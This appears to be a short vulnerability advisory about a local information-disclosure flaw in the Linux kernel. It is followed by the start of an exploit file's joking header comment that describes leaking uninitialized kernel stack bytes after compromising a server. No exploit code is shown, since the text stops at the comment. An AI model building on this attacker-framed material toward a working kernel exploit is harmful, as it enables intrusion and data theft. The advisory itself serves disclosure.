The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

/*
 * You've done it.  After hours of gdb and caffeine, you've finally got a shell
 * on your target's server.  Maybe next time they will think twice about
 * running MyFirstCompSciProjectFTPD on a production machine.  As you take
 * another sip of Mountain Dew and pick some of the cheetos out of your beard,
 * you begin to plan your next move - it's time to tackle the kernel.
 *
 * What should be your goal?  Privilege escalation?  That's impossible, there's
 * no such thing as a privilege escalation vulnerability on Linux.  Denial of
 * service?  What are you, some kind of script kiddie?  No, the answer is
 * obvious.  You must read the uninitialized bytes of the kernel stack, since
 * these bytes contain all the secrets of the universe and the meaning of life.
 *
 * How can you accomplish this insidious feat?  You immediately discard the
 * notion of looking for uninitialized struct members that are copied back to
 * userspace, since you clearly need something far more elite.  In order to
 * prove your superiority, your exploit must be as sophisticated as your taste
 * in obscure electronic music.  After scanning the kernel source for good
 * candidates, you find your target and begin to code...
